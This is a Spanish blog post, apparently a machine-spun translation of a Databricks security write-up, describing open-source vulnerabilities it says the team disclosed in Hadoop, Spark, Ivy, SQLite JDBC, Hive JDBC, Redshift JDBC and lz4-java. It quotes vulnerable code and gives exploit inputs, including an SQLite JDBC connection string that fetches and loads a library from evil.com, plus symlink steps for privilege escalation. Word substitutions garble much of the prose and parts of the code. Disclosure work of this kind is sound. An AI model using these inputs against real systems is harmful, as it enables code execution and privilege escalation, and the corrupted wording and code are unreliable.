El equipo de seguridad de productos de Databricks está profundamente comprometido a avalar la seguridad y la integridad de sus productos, que se construyen e integran con una variedad de proyectos de código destapado. Al declarar la importancia de estas bases de código destapado, el equipo contribuye activamente a la seguridad de estos proyectos, mejorando así la postura de seguridad común tanto de los productos Databricks como del ecosistema de código destapado más amplio. Este compromiso se manifiesta a través de varias actividades esencia, incluida la identificación y notificación de vulnerabilidades, la contribución de parches y la billete en revisiones y auditorías de seguridad de proyectos de código destapado. Al hacerlo, Databricks no solo protege sus propios productos sino que todavía respalda la resiliencia y seguridad de los proyectos de código destapado en los que depende.
Este blog proporcionará una descripción común de los detalles técnicos de algunas de las vulnerabilidades que descubrió el equipo.
CVE-2022-26612: Vulnerabilidad de inyección de comando de shell Hadoop FileUtil unTarUsingTar
Apache Hadoop global ofrece una API que permite a los usuarios descomprimir un archivo utilizando el alquitrán Aparejo Unix. Para hacerlo, crea una rasgo de comando, potencialmente usando todavía zipy lo ejecuta. El problema radica en el hecho de que en algunas situaciones no se escapa correctamente la ruta al archivo, que podría estar bajo el control del agraciado. Esto podría permitir que un agraciado malintencionado inyecte sus propios comandos en el nombre del archivo, a través de metacaracteres del shell, por ejemplo.
El código pasivo se puede encontrar. aquí.
untarCommand.append("cd '")
.append(FileUtil.makeSecureShellPath(untarDir))
.append("' && ")
.append("tar -xf ");
if (gzipped) {
untarCommand.append(" -)");
} else {
untarCommand.append(FileUtil.makeSecureShellPath(inFile)); // <== not single-quoted!
}
String() shellCmd = { "bash", "-c", untarCommand.toString() };
ShellCommandExecutor shexec = new ShellCommandExecutor(shellCmd);
shexec.execute();
Tenga en cuenta que hacerSecureShellPath solo escapa de las comillas simples pero no agrega ninguna. Hubo algunos debates sobre las consecuencias del problema para Hadoop, pero al final, hexaedro que es una API ofrecida públicamente, terminó justificando una posibilidad. Databricks invirtió en solucionar este problema como código Spark para deshacer estaba aprovechando el código pasivo.
CVE-2022-33891: Vulnerabilidad de inyección de comandos de shell de interfaz de agraciado de Apache Spark™
Apache Spark™ utiliza alguna API para asignar un nombre de agraciado determinado a un conjunto de grupos al que pertenece. Una de las implementaciones es ShellBasedGroupsMappingProvider, que aprovechó el comando id Unix. El nombre de agraciado pasado a la función se agregó al comando sin escaparse adecuadamente, lo que potencialmente permitía la inyección de comandos arbitrarios.
Se pudo encontrar el código pasivo. aquí.
// shells out a "bash -c id -Gn username" to get user groups
private def getUnixGroups(username: String): Set(String) = {
val cmdSeq = Seq("bash", "-c", "id -Gn " + username) // <== potential command injection!
// we need to get rid of the trailing "n" from the result of command execution
Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
}
Tuvimos que investigar si se podía ceder a este proveedor con entradas de usuarios que no eran de confianza y encontramos la sucesivo ruta:
- ShellBasedGroupsMappingProvider.getGroups
- Utils.getCurrentUserGroups
- SecurityManager.isUserInACL
- SecurityManager.checkUIViewPermissions
- HttpSecurityFilter.doFilter
Irónicamente, el filtro de seguridad HTTP de Spark UI podría permitir que se acceda a ese código a través del hacer como parámetro de consulta (ver aquí). Por fortuna, algunos controles esUsuarioEnACL evitó que esta vulnerabilidad se activara en una configuración predeterminada.
Apache Ivy admite un embalaje atributo que permite descomprimir los artefactos sobre la marcha. La función utilizada para realizar el descomprimido Zip no buscaba “../” en los nombres de las entradas Zip, lo que permitía un tipo de ataque transversal de directorio, todavía conocido como “zip slip”.
Se pudo encontrar el código pasivo. aquí.
while (((entry = zip.getNextEntry()) != null)) {
File f = new File(dest, entry.getName()); // <== no check on the name of the entry!
Message.verbose("ttexpanding " + entry.getName() + " to " + f);
// create intermediary directories - sometimes zip don't add them
File dirF = f.getParentFile();
if (dirF != null) {
dirF.mkdirs();
}
if (entry.isDirectory()) {
f.mkdirs();
} else {
writeFile(zip, f);
}
f.setLastModified(entry.getTime());
}
Esto podría permitir a un agraciado con la capacidad de proporcionar a Ivy un descriptor de módulo bellaco para escribir archivos fuera del gusto de descarga nave.
CVE-2023-32697: Ejecución remota de código del compensador SQLite JDBC
Se puede hacer que el compensador SQLite JDBC cargue una extensión remota oportuno al nombre de archivo temporal predecible al cargar un archivo de cojín de datos remota usando jdbc:sqlite::medio y enable_load_extension opciones que permiten la carga de extensiones.
El problema principal es el uso código hash método para gestar un nombre temporal sin tener en cuenta que código hash producirá la misma salida para el mismo dependencia a través de JVM, un atacante puede predecir la salida y, por lo tanto, la ubicación del archivo de descarga.
El código pasivo se puede encontrar. aquí.
String tempFolder = new File(System.getProperty("java.io.tmpdir")).getAbsolutePath();
String dbFileName = String.format("sqlite-jdbc-tmp-%d.db", resourceAddr.hashCode()); // <== predictable temporary file
File dbFile = new File(tempFolder, dbFileName);
Si perfectamente el problema se puede desencadenar en un solo paso, aquí hay un desglose para simplificar:
Usando la sucesivo dependencia de conexión: “jdbc:sqlite::medio:http://evil.com/evil.so?enable_load_extension=true«
Esto resultará en la descarga del archivo .so en una ubicación predecible en el /tmp carpeta, y luego se puede cargar usando: “seleccione load_extension(‘/tmp/sqlite-jdbc-tmp-{NÚMERO}.db’)«
CVE-2023-35701: Ejecución de comando injustificado del compensador Apache Hive JDBC
El indagación de los conductores de JDBC ha aumentado en los últimos abriles, gracias al trabajo de personas como pyn3rdquienes presentaron su trabajo en conferencias de seguridad en todo el mundo, en particular «Make JDBC Attack Brilliant Again». Este problema es solo un subproducto de su trabajo, ya que se parece mucho a otro problema que informaron en el Compensador JDBC de copo de cocaína.
El meollo de la cuestión reside en la cascar ventana del navegador función que se puede encontrar aquí.
//Desktop is not supported, lets try to open the browser process
OsType os = getOperatingSystem();
switch (os) {
case WINDOWS:
Runtime.getRuntime()
.exec("rundll32 url.dll,FileProtocolHandler " + ssoUri.toString());
break;
case MAC:
Runtime.getRuntime().exec("open " + ssoUri.toString());
break;
case LINUX:
Runtime.getRuntime().exec("xdg-open " + ssoUri.toString());
break;
Esta función ejecutará un comando basado en el URI de redireccionamiento que podría ser proporcionado por una fuente que no es de confianza.
Para desencadenar el problema, se puede especificar una dependencia de conexión como: jdbc:hive2://URL/default;auth=browser;transportMode=http;httpPath=jdbc;ssl=true que utiliza el mecanismo de autenticación del navegador, con un punto final que devolverá un 302 y especificará un Ubicación encabezado (así como Identificador-de-cliente-X-Hive) para provocar el comportamiento defectuoso. El hecho de que ssoURI es un URI de Java que restringe la confianza que tendría un atacante con su rasgo de comando diseñada.
CVE-2024-23945: Omisión de comprobación de cookies de Apache Spark™ y Hive Thrift Server
Se puede hacer que ThriftHttpServlet de Spark acepte una cookie que servirá como forma de autenticar a un agraciado. Está controlado por el hive.server2.thrift.http.cookie.auth.enabled opción de configuración (el valía predeterminado para esta opción depende del esquema, pero algunos de ellos lo tienen configurado en definitivo). El validarCookie Se utilizará la función para verificarlo, que finalmente llamará CookieSigner.verifyAndExtract. El problema reside en el hecho de que si defecto la comprobación, se generará una excepción que devolverá tanto la firma recibida como la válida esperada, permitiendo al agraciado destinar la solicitud nuevamente con dicha firma válida.
El código pasivo se puede encontrar. aquí.
if (!MessageDigest.isEqual(originalSignature.getBytes(), currentSignature.getBytes())) {
throw new IllegalArgumentException("Invalid sign, flamante = " + originalSignature +
" current = " + currentSignature); // <== output the coetáneo expected signature!
}
Salida de ejemplo devuelta al cliente:
java.lang.IllegalArgumentException: Invalid sign, flamante = AAAA current = OoWtbzoNldPiaNNNQ9UTpHI5Ii7PkPGZ+/3Fiv++GO8=
at org.apache.hive.service.CookieSigner.verifyAndExtract(CookieSigner.java:84)
at org.apache.hive.service.cli.thrift.ThriftHttpServlet.getClientNameFromCookie(ThriftHttpServlet.java:226)
at org.apache.hive.service.cli.thrift.ThriftHttpServlet.validateCookie(ThriftHttpServlet.java:282)
at org.apache.hive.service.cli.thrift.ThriftHttpServlet.doPost(ThriftHttpServlet.java:127)
Tanto Apache Hive como Apache Spark™ eran vulnerables a esto y se solucionaron con las siguientes relaciones públicas:
El cronograma para solucionar y informar este problema ilustra algunas de las dificultades encontradas al tratar de informar vulnerabilidades en proyectos de código destapado:
- 16 de mayo de 2023: reportado a (correo electrónico protegido)
- 17 de mayo de 2023: agradecido
- 9 de junio de 2023: solicitó aggiornamento sobre el caso
- 12 de junio de 2023: contesta que esto puede ser un problema de seguridad
- 16 de octubre de 2023: solicitó una aggiornamento sobre el caso
- 17 de octubre de 2023: contesta que se puede aplicar un parche a Spark, pero el estado en el flanco de Hive no está claro
- 6 de noviembre de 2023: solicitó una aggiornamento sobre el caso
- 4 de diciembre de 2023: solicitó una aggiornamento sobre el caso luego de notar que el problema se solucionó públicamente en Hive y Spark
- 7 de febrero de 2024: solicitó una aggiornamento sobre el caso
- 23 de febrero de 2024: tirada de Spark 3.5.1
- 5 de marzo de 2024: solicitó una aggiornamento sobre el caso
- 20 de marzo de 2024: responda que a esto se le ha asignado CVE-2024-23945 en el flanco de Spark
- 29 de marzo de 2024: tirada de Hive 4.0.0
- 19 de abril de 2024: anunciando que publicaremos detalles del problema ya que ha pasado más de un año, con poca o ninguna aggiornamento de los PMC de Apache relevantes
Anexar archivo injustificado Redshift JDBC
El compensador Amazon JDBC para Redshift es un compensador JDBC de tipo 4 que permite la conectividad de bases de datos mediante las API JDBC habitual proporcionadas en Java Platform, Enterprise Edition. Este compensador permite que cualquier aplicación Java, servidor de aplicaciones o subprograma capacitado para Java acceda a Redshift.
Si el compensador JDBC se extiende a través de un conclusión de privilegios, un atacante puede usar la funcionalidad de registro del compensador JDBC Redshift para juntar contenidos de registro parcialmente controlados a cualquier archivo en el sistema de archivos. El contenido puede contener nuevas líneas/caracteres arbitrarios y puede estar de moda para elevar privilegios.
En la URL de conexión, un «Ruta de registro«La variable se puede utilizar para proporcionar la ruta en la que se deben acumular los archivos de registro.
Esto da como resultado archivos como «redshift_jdbc_connection_XX.log,», donde XX es un número secuencial interiormente del directorio y las entradas del registro se escriben en el archivo como se esperaba. Al crear estos archivos, se respetan los enlaces simbólicos y el contenido del registro se escribe en el destino del enlace.
Al utilizar un directorio controlado y establecer enlaces simbólicos a archivos críticos, un agraciado de nuestro entorno puede obtener una escritura controlada en archivos arbitrarios de propiedad raíz y elevar los privilegios en el sistema.
El código fuente para el manejo del archivo de registro JDBC de Redshift está arreglado en el sucesivo repositorio: https://github.com/aws/amazon-redshift-jdbc-driver/blame/33e046e1ccef43517fe4deb96f38cc5ac2bc73d1/src/main/java/com/amazon/redshift/logger/LogFileHandler.java#L225
Para deleitar esto, puede crear un directorio en tmp, como «/tmp/registro.” En el interior de este directorio, el agraciado debe crear enlaces simbólicos con nombres de archivos que coincidan con el patrón. redshift_jdbc_connection_XX.log, donde el archivo de registro aumenta cada vez que se utiliza el conector JDBC de desplazamiento al rojo.
Estos enlaces simbólicos deben apuntar al archivo que desea juntar. Luego, el atacante puede activar el uso del conector Redshift JDBC, siguiendo el enlace simbólico y agregándolo al archivo.
Ascensión de privilegios de escritura de archivos arbitrarios LZ4 Java
El lz4-java La biblioteca (un contenedor de Java aproximadamente de la biblioteca lz4) contiene una vulnerabilidad de condición de carrera basada en archivos que ocurre cuando una biblioteca compilada se coloca en un disco. Las grandes aplicaciones Java, como Spark y Hadoop, utilizan esta biblioteca en gran medida.
El sucesivo código demuestra esto vulnerabilidad:
File tempLib = null;
File tempLibLock = null;
try {
// Create the .lck file first to avoid a race condition
// with other concurrently running Java processes using lz4-java.
tempLibLock = File.createTempFile("liblz4-java-", "." + os().libExtension + ".lck");
tempLib = new File(tempLibLock.getAbsolutePath().replaceFirst(".lck$", ""));
// copy to tempLib
try (FileOutputStream out = new FileOutputStream(tempLib)) {
byte() buf = new byte(4096);
while (true) {
int read = is.read(buf);
if (read == -1) {
break;
}
out.write(buf, 0, read);
}
}
System.load(tempLib.getAbsolutePath());
Como puede ver, este código escribe un .so almacenado interiormente del archivo jar en un directorio temporal ayer de cargarlo y ejecutarlo. El crear archivo temporal La función se utiliza para gestar una ruta única para evitar colisiones. Antaño de escribir el archivo en el disco, el desarrollador crea una lectura modificación del archivo con una .lck extensión con el supuesto propósito de detener colisiones de otros procesos que utilizan la biblioteca. Sin incautación, esto.lck El archivo permitirá a un atacante que observe el directorio intentar acelerar la creación del archivo luego de tomar el nombre del archivo del archivo .lck creación y creación de un enlace simbólico que apunte a cualquier parte del sistema de archivos.
Las ramificaciones de esto son dos: primero, el atacante podrá sobrescribir cualquier archivo del sistema con el contenido de este archivo .so. Esto puede permitir que un atacante sin privilegios sobrescriba archivos propiedad de root. En segundo área, el enlace simbólico se puede reemplazar entre la escritura y la carga, lo que permite al atacante cargar un objeto compartido personalizado que proporciona como raíz. Si esta biblioteca se utiliza a través de un conclusión de privilegios, esto puede otorgarle a un atacante la ejecución de código en un nivel de privilegio elevado.
Conclusión
En Databricks, reconocemos que mejorar la seguridad del software de código destapado que utilizamos es un esfuerzo colectivo. Estamos comprometidos a mejorar de modo proactiva la seguridad de nuestras contribuciones y dependencias, fomentar la colaboración interiormente de la comunidad e implementar las mejores prácticas para custodiar nuestros sistemas. Al priorizar la seguridad y fomentar la transparencia, nuestro objetivo es crear un entorno de código destapado más resistente para todos. Obtenga más información sobre la seguridad de Databricks en nuestro Centro de seguridad y confianza.